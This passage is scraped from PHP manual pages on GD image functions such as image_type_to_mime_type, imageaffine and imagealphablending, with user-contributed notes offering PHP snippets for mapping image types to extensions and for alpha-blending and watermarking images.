                    array (IMAGETYPE_TIFF_II    => 'tiff',     "mime_type" => 'image/tiff'),                        ###  7 = TIFF (intel byte order)
                    array (IMAGETYPE_TIFF_MM    => 'tiff',     "mime_type" => 'image/tiff'),                        ###  8 = TIFF (motorola byte order)
                    array (IMAGETYPE_JPC        => 'jpc',     "mime_type" => 'application/octet-stream'),            ###  9 = JPC  // B. Duplicated MIME type
                    array (IMAGETYPE_JP2        => 'jp2',     "mime_type" => 'image/jp2'),                        ### 10 = JP2
                    array (IMAGETYPE_JPX        => 'jpf',     "mime_type" => 'application/octet-stream'),            ### 11 = JPX  // B. Duplicated MIME type
                    array (IMAGETYPE_JB2        => 'jb2',     "mime_type" => 'application/octet-stream'),            ### 12 = JB2  // B. Duplicated MIME type
                    array (IMAGETYPE_SWC        => 'swc',     "mime_type" => 'application/x-shockwave-flash'),    ### 13 = SWC  // A. Duplicated MIME type
                    array (IMAGETYPE_IFF        => 'aiff',     "mime_type" => 'image/iff'),                        ### 14 = IFF
                    array (IMAGETYPE_WBMP        => 'wbmp',     "mime_type" => 'image/vnd.wap.wbmp'),                ### 15 = WBMP
                    array (IMAGETYPE_XBM        => 'xbm',     "mime_type" => 'image/xbm')                            ### 16 = XBM
            );

            if((is_int($image_type)) AND (IMAGETYPE_GIF <= $image_type) AND (IMAGETYPE_XBM >= $image_type)){
                $extension = $image_type_identifiers[$image_type-1]; // -1 because $image_type_identifiers array starts at [0]
                $extension = $extension[$image_type];
            }
            elseif(is_string($image_type) AND (($image_type != 'application/x-shockwave-flash') OR ($image_type != 'application/octet-stream'))){

                $extension =  match_mime_type_to_extension($image_type, $image_type_identifiers);
            }
            else
            {
                $extension = INVALID_IMAGETYPE;
            }

               if(is_bool($include_dot)){

                   if((false != $include_dot) AND (INVALID_IMAGETYPE != $extension)){
                       $extension = '.' . $extension;
                   }
               }
               else
               {
                   $extension = INVALID_IMAGETYPE;
               }

           return $extension;

           }
    }

    function match_mime_type_to_extension($image_type, $image_type_identifiers){
        // Return from loop on a match
        foreach($image_type_identifiers as $_key_outer_loop => $_val_outer_loop){
            foreach($_val_outer_loop as $_key => $_val){
                if(is_int ($_key)){             // Keep record of extension for mime check
                    $extension = $_val;
                }
                if($_key == 'mime_type'){
                    if($_val === $image_type){    // Found match no need to continue looping
                        return $extension;        ### Return
                    }
                }
            }
        }
        // Compared all values without match
        return $extension = INVALID_IMAGETYPE;
    }

    $extension = image_type_or_mime_type_to_extension($image_type, $include_dot);
     return $extension;
}
?>
Ian Paul Short chukdocsAtHotmailDotCom 29-Sep-2006 04:55
2006-09-29

A few notes about some contributions on this page.

1. It seemed to me that on the face it of all of the offerings to emulate "image_type_to_extension" function fell short of the mark in one way or another (See my comments below). That's why I wrote my own and submitted to this page below. In respect of my work any comments, bugs noted or improvements would be gratefully received.

2. Avoid using the Switch statement in an unconventional method to "Break" (I note the use of the return statement!). Also even if it does nothing at the inception of our code - Still put in the default case (It lets others realise that a default is not required or at worst forgotton.

3. In an environment that is under your control the risk of an error by determining the content by its extension or MIME type may seem an attractive solution to a problem. However, in the real world there's no guarantee that a MIME type or file extension is correct for it's associated file.

Consider using functions to get the image type:
      getimagesize or (This is available without GD)
      exif_imagetype

4. There's more to coding than just putting something together to do a job!!! But whatever is done is worthwhile - Hence expletives have no place in this forum!!

5. The idea from "oridan at hotmail dot com" is a very slick idea. I will be taking a closer look at this for my own project.
Ian Paul Short 29-Sep-2006 01:40
2006-09-29 Author: Ian Paul Short (chukdocs at hotmail dot com)

For reasons I have yet to determine the function “image_type_to_extension” is not available to both PHP 5.1.4 on my local host running under Windows XP or on my remote host running under Linux. Has anyone else had this problem? If so kindly post your findings here please.

In the meantime I needed a workaround and with many thanks to the previous contributors on this page - I took bits and pieces developed the following function to emulate the function image_type_to_extension:

    if(!function_exists('image_type_to_extension')){    ### Include this for graceful tranisition to using
                                                        ### PHP's equivalent function when it's available in the box

        function image_type_to_extension($image_type, $include_dot){

            // Assign definitions and intialise variables
            define ("INVALID_IMAGETYPE", '');            // Empty string
            $extension = INVALID_IMAGETYPE;             // Return this (empty string) if "$image_type or $include_dot" do not contain legal values

            if((is_int($image_type)) AND (is_bool($include_dot)) AND (IMAGETYPE_GIF <= $image_type) AND (IMAGETYPE_XBM >= $image_type)){ // Check input data are legal

                $image_type_extension = array (            ### These integer values correspond to the the respective IMAGETYPE constants
                    IMAGETYPE_GIF         => 'gif',        ###  1 = GIF
                    IMAGETYPE_JPEG         => 'jpg',        ###  2 = JPG
                    IMAGETYPE_PNG         => 'png',        ###  3 = PNG
                    IMAGETYPE_SWF         => 'swf',        ###  4 = SWF
                    IMAGETYPE_PSD         => 'psd',        ###  5 = PSD
                    IMAGETYPE_BMP         => 'bmp',        ###  6 = BMP
                    IMAGETYPE_TIFF_II     => 'tiff',        ###  7 = TIFF     (intel byte order)
                    IMAGETYPE_TIFF_MM     => 'tiff',        ###  8 = TIFF     (motorola byte order)
                    IMAGETYPE_JPC         => 'jpc',        ###  9 = JPC
                    IMAGETYPE_JP2         => 'jp2',        ### 10 = JP2
                    IMAGETYPE_JPX         => 'jpf',        ### 11 = JPX     Yes! jpf extension is correct for JPX image type
                    IMAGETYPE_JB2         => 'jb2',        ### 12 = JB2
                    IMAGETYPE_SWC         => 'swc',        ### 13 = SWC
                    IMAGETYPE_IFF         => 'aiff',        ### 14 = IFF
                    IMAGETYPE_WBMP         => 'wbmp',        ### 15 = WBMP
                    IMAGETYPE_XBM         => 'xbm'        ### 16 = XBM
                );

                $extension = $image_type_extension[$image_type]; // Get extension by using array as a look up table using $image_type as key

                if($include_dot != false) $extension = '.' . $extension; // If $include_dot is true prefix a dot to extension
               }

### Limitation - No user friendly error handler
/*
            else
               {
                   ### Put your error handler here
               }
*/
        return $extension;
        }
    }
aleksandrs dot bogdanovs at gmail dot com 23-Dec-2005 02:44
When I was writing a script for my photo website, it was necessary to write such function, which can get the extension of uploaded file (image), so the function is:

<?php
function get_extension($imagetype)
   {
       if(empty($imagetype)) return false;
       switch($imagetype)
       {
           case 'image/bmp': return '.bmp';
           case 'image/cis-cod': return '.cod';
           case 'image/gif': return '.gif';
           case 'image/ief': return '.ief';
           case 'image/jpeg': return '.jpg';
           case 'image/pipeg': return '.jfif';
           case 'image/tiff': return '.tif';
           case 'image/x-cmu-raster': return '.ras';
           case 'image/x-cmx': return '.cmx';
           case 'image/x-icon': return '.ico';
           case 'image/x-portable-anymap': return '.pnm';
           case 'image/x-portable-bitmap': return '.pbm';
           case 'image/x-portable-graymap': return '.pgm';
           case 'image/x-portable-pixmap': return '.ppm';
           case 'image/x-rgb': return '.rgb';
           case 'image/x-xbitmap': return '.xbm';
           case 'image/x-xpixmap': return '.xpm';
           case 'image/x-xwindowdump': return '.xwd';
           case 'image/png': return '.png';
           case 'image/x-jps': return '.jps';
           case 'image/x-freehand': return '.fh';
           default: return false;
       }
   }
?>

It's useful for those, who upload files on server.
oridan at hotmail dot com 11-Nov-2005 07:06
i used your code in the following to open different types of files depending on their 'type' (or rather, extension).  the eval simply creates
<?
// make sure you initialize $filename as the path to the image you want to load/create

   list(,,$type) = getimagesize($filename);
   $type = image_type_to_extension($type);
   eval("global \$filename; \$source = imagecreatefrom$type(\$filename);");
   global $source;
?>

$source is then the var you can play with.  saved me a big switch statement calling different "imagecreatefromjpg"/"imagecreatefromgif" functions just to do the one simple task.... open an image of varying types.
robe at amd dot co dot at 28-Sep-2005 09:31
neil: your version fails to make sense for me
spybreak.de guy:

a) you left out BMP
b) you fucked up the order of the extension in the mid of the listing. if this was changed in the getimagesize function during php versions, I'm sorry. Otherwise: WHY?!
c) the include_dot stuff is the worst abuse of function arguments I've ever seen. Shame on you.

Here's a unfucked, working version:

<?
if(!function_exists('image_type_to_extension'))
{
   function image_type_to_extension($imagetype)
   {
       if(empty($imagetype)) return false;
       switch($imagetype)
       {
           case IMAGETYPE_GIF    : return 'gif';
           case IMAGETYPE_JPEG    : return 'jpg';
           case IMAGETYPE_PNG    : return 'png';
           case IMAGETYPE_SWF    : return 'swf';
           case IMAGETYPE_PSD    : return 'psd';
           case IMAGETYPE_BMP    : return 'bmp';
           case IMAGETYPE_TIFF_II : return 'tiff';
           case IMAGETYPE_TIFF_MM : return 'tiff';
           case IMAGETYPE_JPC    : return 'jpc';
           case IMAGETYPE_JP2    : return 'jp2';
           case IMAGETYPE_JPX    : return 'jpf';
           case IMAGETYPE_JB2    : return 'jb2';
           case IMAGETYPE_SWC    : return 'swc';
           case IMAGETYPE_IFF    : return 'aiff';
           case IMAGETYPE_WBMP    : return 'wbmp';
           case IMAGETYPE_XBM    : return 'xbm';
           default                : return false;
       }
   }
}
?>
mail at spybreak dot de 15-Aug-2004 03:12
In case your PHP doesn't have this function, you can use this:
<?

if(!function_exists('image_type_to_extension'))
{
    function image_type_to_extension($imagetype,$include_dot=true)
    {
        if(empty($imagetype)) return false;
        $dot = $include_dot ? $dot.'' : '';
        switch($imagetype)
        {
            case IMAGETYPE_GIF     : return $dot.'gif';
            case IMAGETYPE_JPEG    : return $dot.'jpg';
            case IMAGETYPE_PNG     : return $dot.'png';
            case IMAGETYPE_SWF     : return $dot.'swf';
            case IMAGETYPE_PSD     : return $dot.'psd';
            case IMAGETYPE_WBMP    : return $dot.'wbmp';
            case IMAGETYPE_XBM     : return $dot.'xbm';
            case IMAGETYPE_TIFF_II : return $dot.'tiff';
            case IMAGETYPE_TIFF_MM : return $dot.'tiff';
            case IMAGETYPE_IFF     : return $dot.'aiff';
            case IMAGETYPE_JB2     : return $dot.'jb2';
            case IMAGETYPE_JPC     : return $dot.'jpc';
            case IMAGETYPE_JP2     : return $dot.'jp2';
            case IMAGETYPE_JPX     : return $dot.'jpf';
            case IMAGETYPE_SWC     : return $dot.'swc';
            default                : return false;
        }
    }
}
?>


Get Mime-Type for image-type returned by getimagesize, exif_read_data, exif_thumbnail, exif_imagetype

  • « image_type_to_extension
  • image2wbmp »
  • PHP Manual
  • GD and Image Functions
  • Get Mime-Type for image-type returned by getimagesize, exif_read_data, exif_thumbnail, exif_imagetype

image_type_to_mime_type

(PHP 4 >= 4.3.0, PHP 5)

image_type_to_mime_type — Get Mime-Type for image-type returned by getimagesize, exif_read_data, exif_thumbnail, exif_imagetype

Description

string image_type_to_mime_type ( int $imagetype )

The image_type_to_mime_type() function will determine the Mime-Type for an IMAGETYPE constant.

Parameters

imagetype

One of the IMAGETYPE_XXX constants.

Return Values

The returned values are as follows

Returned values Constants
imagetype | Returned value
IMAGETYPE_GIF | image/gif
IMAGETYPE_JPEG | image/jpeg
IMAGETYPE_PNG | image/png
IMAGETYPE_SWF | application/x-shockwave-flash
IMAGETYPE_PSD | image/psd
IMAGETYPE_BMP | image/bmp
IMAGETYPE_TIFF_II (intel byte order) | image/tiff
IMAGETYPE_TIFF_MM (motorola byte order) | image/tiff
IMAGETYPE_JPC | application/octet-stream
IMAGETYPE_JP2 | image/jp2
IMAGETYPE_JPX | application/octet-stream
IMAGETYPE_JB2 | application/octet-stream
IMAGETYPE_SWC | application/x-shockwave-flash
IMAGETYPE_IFF | image/iff
IMAGETYPE_WBMP | image/vnd.wap.wbmp
IMAGETYPE_XBM | image/xbm
IMAGETYPE_ICO | image/vnd.microsoft.icon

Examples

Example #1 image_type_to_mime_type() example

<?php
header("Content-type: " . image_type_to_mime_type(IMAGETYPE_PNG));
?>

Notes

Note:

This function does not require the GD image library.

See Also

  • getimagesize() - Get the size of an image
  • exif_imagetype() - Determine the type of an image
  • exif_read_data() - Reads the EXIF headers from JPEG or TIFF
  • exif_thumbnail() - Retrieve the embedded thumbnail of a TIFF or JPEG image

User Contributed Notes

slegersjohn at gmail dot com 07-Mar-2014 01:39
If you are working with Images only and you need mime type (e.g. for headers), then this is a fast and reliable technique:

<?php
$file = 'path/to/image.jpg';
$image_mime = image_type_to_mime_type(exif_imagetype($file));
?>

It will output true image mime type even if you rename your image file.
kissrat at gmail dot com 10-Oct-2013 02:06
Map the image type enum to file extension:
$extensions = array(
    IMAGETYPE_GIF => "gif",
    IMAGETYPE_JPEG => "jpg",
    IMAGETYPE_PNG => "png",
    IMAGETYPE_SWF => "swf",
    IMAGETYPE_PSD => "psd",
    IMAGETYPE_BMP => "bmp",
    IMAGETYPE_TIFF_II => "tiff",
    IMAGETYPE_TIFF_MM => "tiff",
    IMAGETYPE_JPC => "jpc",
    IMAGETYPE_JP2 => "jp2",
    IMAGETYPE_JPX => "jpx",
    IMAGETYPE_JB2 => "jb2",
    IMAGETYPE_SWC => "swc",
    IMAGETYPE_IFF => "iff",
    IMAGETYPE_WBMP => "wbmp",
    IMAGETYPE_XBM => "xbm",
    IMAGETYPE_ICO => "ico"
);
benshelock at gmail dot com 09-Mar-2009 08:08
I was looking to detect the format of images, Im not sure if this is the best way but it works for me.

<?php
$filename = 'http://static.php.net/www.php.net/images/php.gif';
$size = getimagesize($filename);

switch ($size['mime']) {
    case "image/gif":
        echo "Image is a gif";
        break;
    case "image/jpeg":
        echo "Image is a jpeg";
        break;
    case "image/png":
        echo "Image is a png";
        break;
    case "image/bmp":
        echo "Image is a bmp";
        break;
}
?>


Output image to browser or file

  • « image_type_to_mime_type
  • imageaffine »
  • PHP Manual
  • GD and Image Functions
  • Output image to browser or file

image2wbmp

(PHP 4 >= 4.0.5, PHP 5)

image2wbmp — Output image to browser or file

Description

bool image2wbmp ( resource $image [, string $filename [, int $threshold ]] )

image2wbmp() outputs or save a WBMP version of the given image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

filename

Path to the saved file. If not given, the raw image stream will be output directly.

threshold

Threshold value, between 0 and 255 (inclusive).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 image2wbmp() example

<?php
$file = 'php.png';
$image = imagecreatefrompng($file);

header('Content-Type: ' . image_type_to_mime_type(IMAGETYPE_WBMP));
image2wbmp($image); // output the stream directly
imagedestroy($image);
?>

Notes

Note:

WBMP support is only available if PHP was compiled against GD-1.8 or later.

See Also

  • imagewbmp() - Output image to browser or file

User Contributed Notes

There are no user contributed notes for this page.


Return an image containing the affine transformed src image, using an optional clipping area

  • « image2wbmp
  • imageaffinematrixconcat »
  • PHP Manual
  • GD and Image Functions
  • Return an image containing the affine transformed src image, using an optional clipping area

imageaffine

(PHP 5 >= 5.5.0)

imageaffine — Return an image containing the affine transformed src image, using an optional clipping area

Description

resource imageaffine ( resource $image , array $affine [, array $clip ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

affine

Array with keys 0 to 5.

clip

Array with keys "x", "y", "width" and "height".

Return Values

Return affined image resource on success or FALSE on failure.

User Contributed Notes

abc at ed48 dot com 23-Dec-2013 02:52
Here is an example, which performs a specific processing, every time it is executed:

<?php

if (!function_exists('imageaffine'))
{
echo 'FUNCTION NOT DEFINED IN THIS VERSION OF PHP';
exit;
}

$base_img = 'affine.png';

$tgt_img1 = 'triangle1.png';

$tgt_img2 = 'triangle2.png';

$arr_affine = [
[ 1, 0, 0, 1, 0, 0 ],
[ 1, 0, 0, 1, 150, 0 ],
[ 1.2, 0, 0, 0.6, 0, 0 ],
[ -1.2, 0, 0, -0.6, 0, 0 ],
[ 1, 2, 0, 1, 0, 0 ],
[ 2, 1, 0, 1, 0, 0 ],
[ cos(15), sin(15), -sin(15), cos(15), 0, 0 ],
[ cos(15), -sin(15), sin(15), cos(15), 0, 0 ]
];

$RSR_base = imagecreatetruecolor(400, 300);
$w = imagesx($RSR_base);
$h = imagesy($RSR_base);

$arr_clip = [ 'x' => 0, 'y' => 0, 'width' => $w, 'height' => $h ];

$fillcolor = imagecolorallocate($RSR_base, 0, 0, 0);

imagefill($RSR_base, 10,10, $fillcolor);

imagepng($RSR_base, $base_img);

$drawcolor = imagecolorallocate($RSR_base, 255, 0, 0);

$triangle = [ 50, 50, 50, 150, 200, 150 ];
$points = 3;

imageantialias($RSR_base, 1);

$drawtriangle = imagefilledpolygon($RSR_base, $triangle, $points, $drawcolor);

imagepng($RSR_base, $tgt_img1);

$select = mt_rand(0, 7);

$RSRaff2 = imageaffine($RSR_base, $arr_affine[$select], $arr_clip);

imagepng($RSRaff2, $tgt_img2, 9);

?>

SUPPORT IMAGE<br><br>
<img src="<?php echo $base_img; ?>" alt="*" /><br><br>

BASE IMAGE<br><br>
<img src="<?php echo $tgt_img1; ?>" alt="*" /><br><br>

RESULT IMAGE<br><br>
<img src="<?php echo $tgt_img2; ?>" alt="*" />
abc at ed48 dot com 23-Dec-2013 02:17
correcting:

c ) SCALE,

         $affine = [ M, 0, N, 1, 0, 0 ];

         equations remapping,

         x' = Mx + 0y + 0 = Mx

         y' = 0x + Ny = 0 = Ny

         Each point will stretch or compress its path, horizontally or vertically, according M and N; negative or positive values.
abc at ed48 dot com 23-Dec-2013 01:10
AFFINE is a geometric transformation operation involving MATRICES, covering both, 2D and 3D environment.
Transformations are often used in linear algebra and computer graphics.

In geometric transformations of images, the pixel coordinate is mapped.

This means that, each pixel is localized by two coordinates, in the rectangular domain of the image.
Without going into more details about pixel mapping, let's get to what really matters: the AFFINE transformations.
There are several classes of pixel mapping, one is called "affine".
Affine transformations include: scaling, rotation, shearing and translation.

PHP 5.5.0+, like "libart", uses ARRAYS of six floating-point elements to do the job.

The AFFINE ARRAY, is defined like,

         $affine = [ a0, a1, b0, b1, a2, b2 ];

         where,
         a0, a1, b0, b1, a2, b2 are floating-point values.

         represented by equations,

         x' = a0x + a1y + a2

         y' = b0x + b1y + b2

a ) IDENTITY, no change made in the path of points,

         $affine = [ 1, 0, 0, 1, 0, 0 ];

         equations remapping,

         x' = 1x + 0y + 0 = x

         y' = 0x + 1y = 0 = y

b ) TRANSLATION,

         $affine = [ 1, 0, 0, 1, H, V ];

         equations remapping,

         x' = 1x + 0y + H = x + H

         y' = 0x + 1y = V = y + V

         Each point is moved H units horizontaly and V units verticaly.

c ) SCALE,

         $affine = [ i, 0, j, 1, 0, 0 ];

         equations remapping,

         x' = Mx + 0y + 0 = Mx

         y' = 0x + Ny = 0 = Ny

         Each point will stretch or compress its path, horizontally or vertically, according M and N; negative or positive values.

d ) SHEARING, parallel to x axis,

         $affine = [ 1, K, 0, 1, 0, 0 ];

         equations remapping,

         x' = 1x + Ky + 0 = x + Ky

         y' = 0x + 1y = 0 = y

    SHEARING, parallel to y axis,

         $affine = [ K, 0, 0, 1, 0, 0 ];

         equations remapping,

         x' = 1x + 0y + 0 = x

         y' = Kx + 1y = 0 = y + Kx

e ) ROTATION, clockwise,

         $affine = [ cos Ø, sin Ø, -sin Ø, cos Ø, 0, 0 ];

         equations remapping,

         x' =  x cos Ø + y sin Ø + 0 = x cos Ø + y sin Ø

         y' = -x sin Ø + y cos Ø = 0 = y cos Ø - x sin Ø

    ROTATION, conterclockwise,

         $affine = [ cos Ø, -sin Ø, sin Ø, cos Ø, 0, 0 ];

         equations remapping,

         x' =  x cos Ø - y sin Ø + 0 = x cos Ø - y sin Ø

         y' = x sin Ø + y cos Ø = 0 = y sin Ø - x cos Ø


Concat two matrices (as in doing many ops in one go)

  • « imageaffine
  • imageaffinematrixget »
  • PHP Manual
  • GD and Image Functions
  • Concat two matrices (as in doing many ops in one go)

imageaffinematrixconcat

(PHP 5 >= 5.5.0)

imageaffinematrixconcat — Concat two matrices (as in doing many ops in one go)

Description

array imageaffinematrixconcat ( array $m1 , array $m2 )

Warning

This function is currently not documented; only its argument list is available.

Parameters

m1

Array with keys 0 to 5.

m2

Array with keys 0 to 5.

Return Values

Array with keys 0 to 5 and float values or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Return an image containing the affine tramsformed src image, using an optional clipping area

  • « imageaffinematrixconcat
  • imagealphablending »
  • PHP Manual
  • GD and Image Functions
  • Return an image containing the affine tramsformed src image, using an optional clipping area

imageaffinematrixget

(PHP 5 >= 5.5.0)

imageaffinematrixget — Return an image containing the affine tramsformed src image, using an optional clipping area

Description

array imageaffinematrixget ( int $type [, mixed $options ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

type

One of IMG_AFFINE_* constants.

options

Return Values

Array with keys 0 to 5 and float values or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set the blending mode for an image

  • Â« imageaffinematrixget
  • imageantialias Â»
  • PHP Manual
  • GD and Image Functions
  • Set the blending mode for an image

imagealphablending

(PHP 4 >= 4.0.6, PHP 5)

imagealphablending — Set the blending mode for an image

Description

bool imagealphablending ( resource $image , bool $blendmode )

imagealphablending() allows for two different modes of drawing on truecolor images. In blending mode, the alpha channel component of the color supplied to all drawing function, such as imagesetpixel() determines how much of the underlying color should be allowed to shine through. As a result, gd automatically blends the existing color at that point with the drawing color, and stores the result in the image. The resulting pixel is opaque. In non-blending mode, the drawing color is copied literally with its alpha channel information, replacing the destination pixel. Blending mode is not available when drawing on palette images.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

blendmode

Whether to enable the blending mode or not. On true color images the default value is TRUE otherwise the default value is FALSE

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagealphablending() usage example

<?php
// Create image
$im = imagecreatetruecolor(100, 100);

// Set alphablending to on
imagealphablending($im, true);

// Draw a square
imagefilledrectangle($im, 30, 30, 70, 70, imagecolorallocate($im, 255, 0, 0));

// Output
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
?>

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

User Contributed Notes

klaproth at creative-mindworks dot de 19-May-2008 07:57
I have written a function that takes an image as parameter and returns the same image with a reflection effect (often seen in WEB 2.0 sites). I have not performance-tested this with large image files, for thumbnails it works fine (requires PHP 4.3.2 or above, or PHP5).

<?php
function imagereflection($src_img) {
  $src_height = imagesy($src_img);
  $src_width = imagesx($src_img);
  $dest_height = $src_height + ($src_height / 2);
  $dest_width = $src_width;

  $reflected = imagecreatetruecolor($dest_width, $dest_height);
  imagealphablending($reflected, false);
  imagesavealpha($reflected, true);

  imagecopy($reflected, $src_img, 0, 0, 0, 0, $src_width, $src_height);
  $reflection_height = $src_height / 2;
  $alpha_step = 80 / $reflection_height;
  for ($y = 1; $y <= $reflection_height; $y++) {
    for ($x = 0; $x < $dest_width; $x++) {
      // copy pixel from x / $src_height - y to x / $src_height + y
      $rgba = imagecolorat($src_img, $x, $src_height - $y);
      $alpha = ($rgba & 0x7F000000) >> 24;
      $alpha =  max($alpha, 47 + ($y * $alpha_step));
      $rgba = imagecolorsforindex($src_img, $rgba);
      $rgba = imagecolorallocatealpha($reflected, $rgba['red'], $rgba['green'], $rgba['blue'], $alpha);
      imagesetpixel($reflected, $x, $src_height + $y - 1, $rgba);
    }
  }

  return $reflected;
}
?>

This is rather hot-coded. You could go on and extract some of the values as parameters (80 is the transparency start value, $height / 2 is the reflection area...).

Cheers,
Christian
jeppe dot dyrby at gmail dot com 14-Aug-2007 04:34
I have create a little function for putting a watermark on any picture.
Watermark can be png, with transparency, and the watermark can be placed anywhere on the image, using simple strings such as 'bottom-left', or 'center'.

<?
function imagelogo (&$dst_image, $src_image, $dst_w, $dst_h, $src_w, $src_h, $position='bottom-left') {
    imagealphablending($dst_image,true);
    imagealphablending($src_image,true);
    if ($position == 'random') {
        $position = rand(1,8);
    }
    switch ($position) {
        case 'top-right':
        case 'right-top':
        case 1:
            imagecopy($dst_image, $src_image, ($dst_w-$src_w), 0, 0, 0, $src_w, $src_h);
        break;
        case 'top-left':
        case 'left-top':
        case 2:
            imagecopy($dst_image, $src_image, 0, 0, 0, 0, $src_w, $src_h);
        break;
        case 'bottom-right':
        case 'right-bottom':
        case 3:
            imagecopy($dst_image, $src_image, ($dst_w-$src_w), ($dst_h-$src_h), 0, 0, $src_w, $src_h);
        break;
        case 'bottom-left':
        case 'left-bottom':
        case 4:
            imagecopy($dst_image, $src_image, 0 , ($dst_h-$src_h), 0, 0, $src_w, $src_h);
        break;
        case 'center':
        case 5:
            imagecopy($dst_image, $src_image, (($dst_w/2)-($src_w/2)), (($dst_h/2)-($src_h/2)), 0, 0, $src_w, $src_h);
        break;
        case 'top':
        case 6:
            imagecopy($dst_image, $src_image, (($dst_w/2)-($src_w/2)), 0, 0, 0, $src_w, $src_h);
        break;
        case 'bottom':
        case 7:
            imagecopy($dst_image, $src_image, (($dst_w/2)-($src_w/2)), ($dst_h-$src_h), 0, 0, $src_w, $src_h);
        break;
        case 'left':
        case 8:
            imagecopy($dst_image, $src_image, 0, (($dst_h/2)-($src_h/2)), 0, 0, $src_w, $src_h);
        break;
        case 'right':
        case 9:
            imagecopy($dst_image, $src_image, ($dst_w-$src_w), (($dst_h/2)-($src_h/2)), 0, 0, $src_w, $src_h);
        break;
    }
}

// example:

imagelogo($image, $watermark, imagesx($image), imagesy($image), imagesx($watermark), imagesy($watermark), 'random');
?>
JAYPEEsorenATgeeMail 14-Dec-2006 10:52
I rewrote the code given below to skip calculations and pixel setting when not needed (full opaque or full transparent pixels), as the content of my overlays is generally mostly transparent. Reduced processing time from ~0.17s to ~0.06s on 216x145px images.

function alphaOverlay($destImg, $overlayImg, $imgW, $imgH)
{
    for($y=0;$y<$imgH;$y++)
    {
        for($x=0;$x<$imgW;$x++)
        {
            $ovrARGB = imagecolorat($overlayImg, $x, $y);
            $ovrA = ($ovrARGB >> 24) << 1;
            $ovrR = $ovrARGB >> 16 & 0xFF;
            $ovrG = $ovrARGB >> 8 & 0xFF;
            $ovrB = $ovrARGB & 0xFF;

            $change = false;
            if($ovrA == 0)
            {
                $dstR = $ovrR;
                $dstG = $ovrG;
                $dstB = $ovrB;
                $change = true;
            }
            elseif($ovrA < 254)
            {
                $dstARGB = imagecolorat($destImg, $x, $y);
                $dstR = $dstARGB >> 16 & 0xFF;
                $dstG = $dstARGB >> 8 & 0xFF;
                $dstB = $dstARGB & 0xFF;

                $dstR = (($ovrR * (0xFF-$ovrA)) >> 8) + (($dstR * $ovrA) >> 8);
                $dstG = (($ovrG * (0xFF-$ovrA)) >> 8) + (($dstG * $ovrA) >> 8);
                $dstB = (($ovrB * (0xFF-$ovrA)) >> 8) + (($dstB * $ovrA) >> 8);
                $change = true;
            }
            if($change)
            {
                $dstRGB = imagecolorallocatealpha($destImg, $dstR, $dstG, $dstB, 0);
                imagesetpixel($destImg, $x, $y, $dstRGB);
            }

        }
    }
    return $destImg;
}
roONLYycoLOWERCAneSEjo at gmail dot com 22-Nov-2006 07:35
Roy Conejo says:

I' had to "per-pixel alpha blend" an image into a solid background, as seen on the very concise example from "barnabas at kendall dot NOSPAM dot net": an alpha blended .png logo on a .jpg photograph. The problem was... it doesn't worked out at all here (why? T_T).

Note that I'm using just the source alpha to determine how much colour from source and destination will be present on the final pixel... and that I've to multiply the alpha value (0 - 127) by 2 because I need it to be 8 bits for the calculations.

I think the code is pretty fast, no decimals, no rounding, no unnecesary coding. Bound checking or clipping could be implemented if you really need to.

I hope it helps someone on my same situation ^.^

<?php

    ## BEGIN of function alpha_blending -------------------------------------------
    function
    alpha_blending ($dest, $source, $dest_x, $dest_y) {

        ## lets blend source pixels with source alpha into destination =)
        for ($y = 0; $y < imagesy($source); $y++) {
            for ($x = 0; $x < imagesx($source); $x++) {

                $argb_s = imagecolorat ($source    ,$x            ,$y);
                $argb_d = imagecolorat ($dest    ,$x+$dest_x    ,$y+$dest_y);

                $a_s    = ($argb_s >> 24) << 1; ## 7 to 8 bits.
                $r_s    =  $argb_s >> 16     & 0xFF;
                $g_s    =  $argb_s >>  8    & 0xFF;
                $b_s    =  $argb_s            & 0xFF;

                $r_d    =  $argb_d >> 16    & 0xFF;
                $g_d    =  $argb_d >>  8    & 0xFF;
                $b_d    =  $argb_d            & 0xFF;

                ## source pixel 100% opaque (alpha == 0)
                if ($a_s == 0) {
                    $r_d = $r_s; $g_d = $g_s; $b_d = $b_s;
                }
                ## source pixel 100% transparent (alpha == 255)
                else if ($a_s > 253) {
                ## using source alpha only, we have to mix (100-"some") percent
                ## of source with "some" percent of destination.
                } else {
                    $r_d = (($r_s * (0xFF-$a_s)) >> 8) + (($r_d * $a_s) >> 8);
                    $g_d = (($g_s * (0xFF-$a_s)) >> 8) + (($g_d * $a_s) >> 8);
                    $b_d = (($b_s * (0xFF-$a_s)) >> 8) + (($b_d * $a_s) >> 8);
                }

                $rgb_d = imagecolorallocatealpha ($dest, $r_d, $g_d, $b_d, 0);
                imagesetpixel ($dest, $x, $y, $rgb_d);
            }
        }
    }
    ## END of function alpha_blending -------------------------------------------

    ## let's start loading images as usual...
    $source = imagecreatefrompng ('logo.png');
    $dest    = imagecreatefromjpg ('photo.jpg');

    ## alpha blend $source into $dest starting at 10, 5.
    alpha_blending ($dest, $source, 10, 5);

    ## here you'll have to save "$dest" or send it to the browser...
    ##

    imagedestroy ($source);
    imagedestroy ($dest);

?>

eof =p
Raisul Kabir Ruman 01-Sep-2006 02:45
In the previous message, I found it is working perfect. But, it can be done a lot easily, as is described by the first message by "barnabas at kendall dot NOSPAM dot net". Though, it don't work totally, instead of using imageAlphaBlending, you have to use imageSaveAlpha

So, I found the corrected and smalled code would be

<?php
$im_a = @imagecreatefrompng("a.png");
$im_c = @imagecreatefrompng("c.png");
imageSaveAlpha($im_c, true);

imagecopy($im_c,$im_a,0,0,0,0,200,200);
header("Content-type: image/png");
imagepng($im_c);
?>
luke dot stanley at gmail dot com 21-Aug-2006 10:30
"If imagealphablending os set to true and you want to merge two images, you are left with no transparency. If it is set to false, only the transparency of the second image is respected, causing no parts of the first image to be shown. To solve this use the following function:"

dscharrer at gmail dot com offered this without a use example, so here is one:

<?

$flag = imagecreatefrompng('a.png');
$mask = imagecreatefrompng('b.png');

imagealphablending($flag, 1);
imagealphablending($mask, 1);
